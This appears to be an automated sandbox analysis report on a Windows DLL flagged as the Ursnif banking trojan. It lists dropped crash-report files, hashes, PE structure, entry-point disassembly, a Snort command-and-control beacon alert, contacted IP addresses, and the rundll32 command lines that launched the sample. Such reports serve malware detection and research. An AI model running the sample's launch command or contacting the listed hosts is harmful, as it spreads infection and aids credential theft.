SHA-512:	F0D01F7FBCD8C147AFC11A675B64A6CB3C85EE7E116FCD03A5AB4F8587DE635D131B378537CBAFA17A8E829BBDBB38CC665D540E4126264C6A4EBB8DD83B92F6
Malicious:	false
Preview:	MDMP....... .........b........................L...........$...............~!..........`.......8...........T...............rx...........................................................................................U...........B..............GenuineIntelW...........T.............b.............................0..................P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD06D.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	8346
Entropy (8bit):	3.6893675787544065
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNieA6I06YWySUOuKgmfHSvCpNj89b4p1fTibIm:RrlsNip6I06YjSUOuKgmfHSF4LfTiB
MD5:	4987BD8F38F3176EA061DE3C70FFB3AE
SHA1:	B8E8C8BE9218A26830068FEF0E4D2E9ACAB109C4
SHA-256:	C71E98FB80478A643390D78BDCE471BF2A841F44F5D9DBAD9D7B8325E572E37F
SHA-512:	50675E5D76C5A334E9F37BE06ADF82377517766DF3011162042ED016ED8E55CACC89E54385181FC09D279937186B17FB886D097B13706150465CA03C8D7AB0A7
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.4.2.4.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD1D5.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4659
Entropy (8bit):	4.418360328033601
Encrypted:	false
SSDEEP:	48:cvIwSD8zsaJgtWI9kiWgc8sqYj08fm8M4J2+AKkFag+q8vQ+AKB2KcQIcQw0h8d:uITfoPjgrsqYVJPNgKxEKkw0h8d
MD5:	F24A79F2EBB558B3CF4BA99D079908A2
SHA1:	680AE2D2E24E3288847EA0EF881E04912FB10BCA
SHA-256:	226C608C343E7570FA0F48FAAE525A49D5D113FE8D07AF42D78108C8CC7D9215
SHA-512:	C4E38045B7DC09B6210A203FE2899EC5AFA4DCE8C43D9DEA22AB348711F82540175FBEEA6EE487A14C68AF65A2B977B8AB5F821473E6E12ABC1B52CD358C5C05
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1519390" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE1F0.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Tue May 17 18:00:25 2022, 0x1205a4 type
Category:	dropped
Size (bytes):	34650
Entropy (8bit):	1.9851963209158827
Encrypted:	false
SSDEEP:	192:+ws3+xSbOPnFgq6r23RiuiCkIFlKnP+meCxy/YepTB:pSiPnFgq6r2B/jpF0nP++M
MD5:	0277A1753C5E96067D53F043D6A85F77
SHA1:	EB9C9E8B4B62E292C908336CB2107C02465F1B57
SHA-256:	AB2DF3ABD65E75703AD26565148A893AE2A15CE0FD41071BF5151B2969022F51
SHA-512:	1853C2EB35870652AB6F6B561EB85F61B7C53C186FC01B1FD88ED636F03B730C5033C93C8B65323AA24A91E3D3D745EBC87B2014CF3C1D8781AF19A26A6BA6F8
Malicious:	false
Preview:	MDMP....... .........b........................L...........$...............~!..........`.......8...........T................w...........................................................................................U...........B..............GenuineIntelW...........T.............b.............................0..................P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE56C.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	8334
Entropy (8bit):	3.6989805425570728
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNiejZ6cx6YWuSUMZgmffSvCprj89blBsfPXm:RrlsNiwZ6cx6YfSUMZgmffSzl6fe
MD5:	4FE019ACEA2068A2CD647811D69D21E8
SHA1:	B21371DC73D60C8D53024F300146D13897B5BAE4
SHA-256:	980C155A61157C06A302625AF339D1E5BB2F246C7CBCCB5A29E4F489A1346D05
SHA-512:	183C013E53A9F4D8EA635A5A83804E5D28FB80BD2104993238226D11E349760DBD82DB8BB2B21372665BF4BADB17317008F71B2E679F77A16177C05A287A7B10
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.4.2.4.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE732.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4598
Entropy (8bit):	4.471011953494763
Encrypted:	false
SSDEEP:	48:cvIwSD8zshJgtWI9kiWgc8sqYj68fm8M4J2+cZFi+q849BG2KcQIcQw0hdd:uITfzPjgrsqYrJ+W3ZKkw0hdd
MD5:	43BF7F96677B46482AE400E7B338E641
SHA1:	D3EE1BCAE6406790456723BBAEDE3B42E9A39142
SHA-256:	D08290638FE248B9BC31E7D9304B44AD74E160EB2ABE1CC23F60671E97AF332A
SHA-512:	98C761780969B78AF7642786EDCD32C35C0DC47183489EE0C645A3B270D9C33F394CDE8CFB8D39CB56B450FD8BCF3DE93DC64AA02B4E323140121420900027B8
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1519391" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE8F.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	8288
Entropy (8bit):	3.6923793035917205
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNie+b645Y6YWJSUvAgmf0ScCpDv89b/Bsfl1m:RrlsNir6UY6Y4SUvAgmf0SM/6f2
MD5:	480F9648CE7C0B9612874C9BDA749C5E
SHA1:	ACFBE120FDE9FE114F2D7ACEB29184BAD4200903
SHA-256:	06BBC7172866F02D5460C18C3C13BBC32C5103AE31977EF4172596911AA7695A
SHA-512:	E4DB58FD5D018108D4438B4F62E602EB1D3E665E652FF71CB467221E6053107B05BDFFECD920A6E6A6F3A1FD39E110834C3DC5F351D2B6C9AE9DE00D1064D503
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.4.2.4.<./.P.i.d.>.......

Static File Info

General

File type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.254248896562745
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 99.60% Generic Win/DOS Executable (2004/3) 0.20% DOS Executable Generic (2002/1) 0.20% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	BJp3aUvrt9.dll
File size:	442368
MD5:	9046f78804227bd742d558325fa8f4c0
SHA1:	37ddabb88b909290e1da368f275448a880887482
SHA256:	e34af6effb596517e32ddf82fb283e8b844ec34d373f4e04e93e9916d26c287d
SHA512:	29051fe2ba6908eee8d68af4331bb830d21ce78830f057783b0b0f9d595d6d6f62b402b31495205c13e14a4f74cedb68f20c693ed2717aa8eaf5704975cae475
SSDEEP:	6144:oW1iktBgcV9yjYJrTOkRLookGIw8OaDSOKdPmo6iJTk/DmpFkbakc+abuFGGGGGD:oW44BgcV9yjY1OkEGx/V72/DmSH6/
TLSH:	5294E00965216A6ED9DC273DC9E1D31B1D62B75CD23E70BE3CF43C9F7AE6125820428A
File Content Preview:	MZ......................@...........................................................(.......0...w+!.W....]v...............4.....Y^........7.......x.........<.............A.............., ......,%.......{.......7.o.......O.....4.......5.......@.....Rich...

File Icon


Icon Hash:	9068eccc64f6e2ad

Static PE Info

General

Entrypoint:	0x4014d0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE, DLL
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x3EC34607 [Thu May 15 07:47:19 2003 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	a2b7486f7219709bc441af397fbc35ab

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add ecx, FFFFFFFFh
call 00007F28450A90AAh
pop eax
pop eax
mov dword ptr [0041461Ch], eax
mov edx, dword ptr [00414738h]
sub edx, 00005289h
call edx
mov eax, ebx
mov dword ptr [00414618h], eax
mov eax, esi
mov dword ptr [00414610h], eax
mov dword ptr [00414620h], ebp
mov dword ptr [00414614h], edi
add dword ptr [00414620h], 00000004h
loop 00007F28450A9057h
mov dword ptr [ebp+00h], eax
nop
nop
nop
push esp
pop edi
xor dl, dh
cli
inc ebp
lds eax, fword ptr [ecx+34h]
cmpsb
std
xchg dword ptr [ebp-1ED6E020h], edi
stosd
ror al, cl
dec eax
salc
imul edx, dword ptr [edi+61h], 3Fh
or byte ptr [eax], ch
mov al, 87h
dec ch
cli
xchg eax, edi
inc ebp
fdivr qword ptr [edi-20h]
aas
int 45h
fild word ptr [ebx-1BDC28CCh]
add byte ptr [0237275Fh], dl
inc ebx
js 00007F28450A910Eh
enter 53A9h, 5Ch
rol byte ptr [esi], cl
loop 00007F28450A90CCh
mov byte ptr [edi], bl
stc
xchg byte ptr [ebp+423D73FAh], ah
push 00000074h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xdd7c	0x8c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x62000	0x9f28	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x6c000	0xf40	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xd000	0xb8	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xb8a0	0xc000	False	0.081298828125	data	1.12180017202	IMAGE_SCN_TYPE_NO_PAD, IMAGE_SCN_MEM_FARDATA, IMAGE_SCN_TYPE_GROUP, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_PROTECTED, IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_LNK_OVER, IMAGE_SCN_TYPE_COPY, IMAGE_SCN_CNT_CODE, IMAGE_SCN_LNK_COMDAT, IMAGE_SCN_GPREL, IMAGE_SCN_NO_DEFER_SPEC_EXC, IMAGE_SCN_MEM_READ
.rdata	0xd000	0x121f	0x2000	False	0.18701171875	data	4.11729761685	IMAGE_SCN_TYPE_NOLOAD, IMAGE_SCN_TYPE_DSECT, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_LNK_OTHER, IMAGE_SCN_LNK_INFO, IMAGE_SCN_TYPE_COPY, IMAGE_SCN_MEM_READ
.data	0xf000	0x7ac0	0x6000	False	0.376546223958	data	6.0108388439	IMAGE_SCN_TYPE_DSECT, IMAGE_SCN_TYPE_NO_PAD, IMAGE_SCN_MEM_FARDATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_PROTECTED, IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_TYPE_COPY, IMAGE_SCN_CNT_CODE, IMAGE_SCN_GPREL, IMAGE_SCN_NO_DEFER_SPEC_EXC, IMAGE_SCN_MEM_READ
.crt	0x17000	0x1dcbd	0x1e000	False	0.988419596354	data	7.98105173778	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.erloc	0x35000	0x2ca3b	0x2d000	False	0.988259548611	data	7.98162384749	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x62000	0x9f28	0xa000	False	0.602783203125	data	6.51663069246	IMAGE_SCN_LNK_REMOVE, IMAGE_SCN_TYPE_NO_PAD, IMAGE_SCN_TYPE_GROUP, IMAGE_SCN_LNK_INFO, IMAGE_SCN_MEM_PROTECTED, IMAGE_SCN_TYPE_COPY, IMAGE_SCN_CNT_CODE, IMAGE_SCN_NO_DEFER_SPEC_EXC, IMAGE_SCN_MEM_READ
.reloc	0x6c000	0x1360	0x2000	False	0.223266601562	data	3.77920644751	IMAGE_SCN_TYPE_NOLOAD, IMAGE_SCN_TYPE_NO_PAD, IMAGE_SCN_MEM_FARDATA, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_LNK_OTHER, IMAGE_SCN_LNK_INFO, IMAGE_SCN_LNK_OVER, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_LNK_COMDAT, IMAGE_SCN_GPREL, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_BITMAP	0x62360	0x666	data	English	United States
RT_ICON	0x629c8	0x485d	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States
RT_ICON	0x67228	0x25a8	dBase IV DBT of `.DBF, block length 9216, next free block index 40, next free block 331218944, next used block 4106092544	English	United States
RT_ICON	0x697d0	0xea8	data	English	United States
RT_ICON	0x6a678	0x8a8	dBase IV DBT of @.DBF, block length 1024, next free block index 40, next free block 0, next used block 0	English	United States
RT_ICON	0x6af20	0x568	GLS_BINARY_LSB_FIRST	English	United States
RT_DIALOG	0x6b488	0xb4	data	English	United States
RT_DIALOG	0x6b540	0x120	data	English	United States
RT_DIALOG	0x6b660	0x158	data	English	United States
RT_DIALOG	0x6b7b8	0x202	data	English	United States
RT_DIALOG	0x6b9c0	0xf8	data	English	United States
RT_DIALOG	0x6bab8	0xa0	data	English	United States
RT_DIALOG	0x6bb58	0xee	data	English	United States
RT_GROUP_ICON	0x6bc48	0x4c	data	English	United States
RT_VERSION	0x6bc98	0x290	MS Windows COFF PA-RISC object file	English	United States

Imports

DLL	Import
USER32.dll	IsWindow, LockWorkStation, ExitWindowsEx, LoadCursorFromFileA, IsWindowEnabled, GetMessagePos, GetClassNameA, GetClientRect, GetUpdateRgn, GetWindowWord
KERNEL32.dll	GlobalFree, GetCommState, LockFile, EnumResourceTypesA, GetProcAddress, GetVolumePathNamesForVolumeNameW, GetShortPathNameW, GlobalMemoryStatus, WriteProcessMemory, GlobalFlags, GetFileTime, GetThreadLocale, LocalHandle, GetBinaryTypeA, GetModuleFileNameA
OLEAUT32.dll	LoadTypeLibEx
msvcrt.dll	strcoll, strftime, strtod, strncmp, fgetwc
GDI32.dll	GetCharWidthFloatA, GetTextMetricsW, GdiFlush, ExtEscape
ADVAPI32.dll	RegGetValueA, EnumServicesStatusExW, FreeEncryptionCertificateHashList, GetUserNameW, GetSidSubAuthorityCount

Version Infos

Description	Data
LegalCopyright	A Company. All rights reserved.
InternalName
FileVersion	1.0.0.0
CompanyName	A Company
ProductName
ProductVersion	1.0.0.0
FileDescription
OriginalFilename	myfile.exe
Translation	0x0409 0x04b0

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.313.107.42.1649754802033203 05/17/22-11:01:06.002753	TCP	2033203	ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B)	49754	80	192.168.2.3	13.107.42.16

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 17, 2022 11:01:26.059310913 CEST	49755	80	192.168.2.3	185.189.151.28
May 17, 2022 11:01:29.072530031 CEST	49755	80	192.168.2.3	185.189.151.28
May 17, 2022 11:01:35.088505030 CEST	49755	80	192.168.2.3	185.189.151.28
May 17, 2022 11:03:07.316875935 CEST	49825	80	192.168.2.3	185.189.151.70
May 17, 2022 11:03:10.331608057 CEST	49825	80	192.168.2.3	185.189.151.70
May 17, 2022 11:03:16.332169056 CEST	49825	80	192.168.2.3	185.189.151.70

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: loaddll32.exePID: 6424, Parent PID: 5732

General

Target ID:	0
Start time:	11:00:15
Start date:	17/05/2022
Path:	C:\Windows\System32\loaddll32.exe
Wow64 process (32bit):	true
Commandline:	loaddll32.exe "C:\Users\user\Desktop\BJp3aUvrt9.dll"
Imagebase:	0x220000
File size:	116736 bytes
MD5 hash:	7DEB5DB86C0AC789123DEC286286B938
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 6452, Parent PID: 6424

General

Target ID:	1
Start time:	11:00:16
Start date:	17/05/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C rundll32.exe "C:\Users\user\Desktop\BJp3aUvrt9.dll",#1
Imagebase:	0xc20000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 6472, Parent PID: 6452

General

Target ID:	2
Start time:	11:00:16
Start date:	17/05/2022
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe "C:\Users\user\Desktop\BJp3aUvrt9.dll",#1
Imagebase:	0x11d0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000002.00000003.364421717.00000000051A8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000002.00000003.364070986.00000000051A8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000002.00000003.364312063.00000000051A8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000002.00000003.364235828.00000000051A8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000002.00000003.364148388.00000000051A8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000002.00000003.364394991.00000000051A8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000002.00000003.364278031.00000000051A8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000002.00000003.364350159.00000000051A8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000002.00000002.785582568.00000000051A8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000002.00000002.785174567.00000000049C9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: WerFault.exePID: 6532, Parent PID: 6424

General

Target ID:	4
Start time:	11:00:18
Start date:	17/05/2022
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6424 -s 388
Imagebase:	0xc70000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: WerFault.exePID: 6604, Parent PID: 6424

General

Target ID:	6
Start time:	11:00:23
Start date:	17/05/2022
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6424 -s 396
Imagebase:	0xc70000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: WerFault.exePID: 6800, Parent PID: 6424

General

Target ID:	9
Start time:	11:00:34
Start date:	17/05/2022
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6424 -s 424
Imagebase:	0xc70000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: loaddll32.exePID: 6424, Parent PID: 5732COMMON

Execution Graph

Execution Coverage:	5.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	10
Total number of Limit Nodes:	1

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00851340 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 79
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetBinaryTypeA.KERNEL32 ref: 008513F9

Strings

E, xrefs: 00851420
T, xrefs: 00851490
., xrefs: 00851452

